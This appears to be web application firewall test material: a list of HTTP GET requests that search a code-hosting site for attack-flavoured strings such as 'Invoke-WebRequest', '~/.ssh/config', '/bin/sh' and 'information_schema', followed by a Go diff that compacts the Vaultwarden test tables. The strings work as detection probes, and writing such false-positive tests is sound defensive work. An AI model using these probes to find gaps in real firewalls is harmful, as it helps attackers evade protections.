{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+24 -134
View File
@@ -68,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
}, },
{ {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
http.MethodPut, {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{ {
http.MethodPost, "/api/organizations", jsonBody, http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`, `{"name":"VALUE","billingEmail":"billing@example.com"}`,
}, },
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{ {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
vaultwardenOrganization + "/groups", {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
jsonBody, {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
`{"name":"VALUE"}`, {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
} }
// vaultwardenAddressFields hold every field of a body that skips 930120, // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -126,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, "/identity/connect/token", formData, http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access", "grant_type=password&username=VALUE&password=example&scope=api+offline_access",
}, },
{ {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{ {
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -151,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, vaultwardenPassword, jsonBody, http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`, `{"authenticationData":{"salt":"VALUE"}}`,
}, },
{ {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{ {
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
}, },
{ {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{ {
http.MethodPost, "/api/emergency-access/invite", jsonBody, http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`, `{"email":"VALUE","type":0}`,
}, },
{ {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{ {
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`, `{"emails":["alice@example.com","VALUE"],"type":2}`,
}, },
{ {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
vaultwardenSettings, {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{ {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{ {
http.MethodPut, "/api/two-factor/email", jsonBody, http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`, `{"email":"VALUE","token":"123456"}`,
}, },
{ {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
} }
// vaultwardenBreachReport is the data breach report, which sends an address // vaultwardenBreachReport is the data breach report, which sends an address
@@ -351,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, refused.body) got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold { if got.Score < vaultwardenThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
} }
} }
@@ -392,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
func masterPasswordHashes(count int) []string { func masterPasswordHashes(count int) []string {
const size, seed = 32, 288 const size, seed = 32, 288
//nolint:gosec // a fixed sample random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count) hashes := make([]string, count)
@@ -441,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
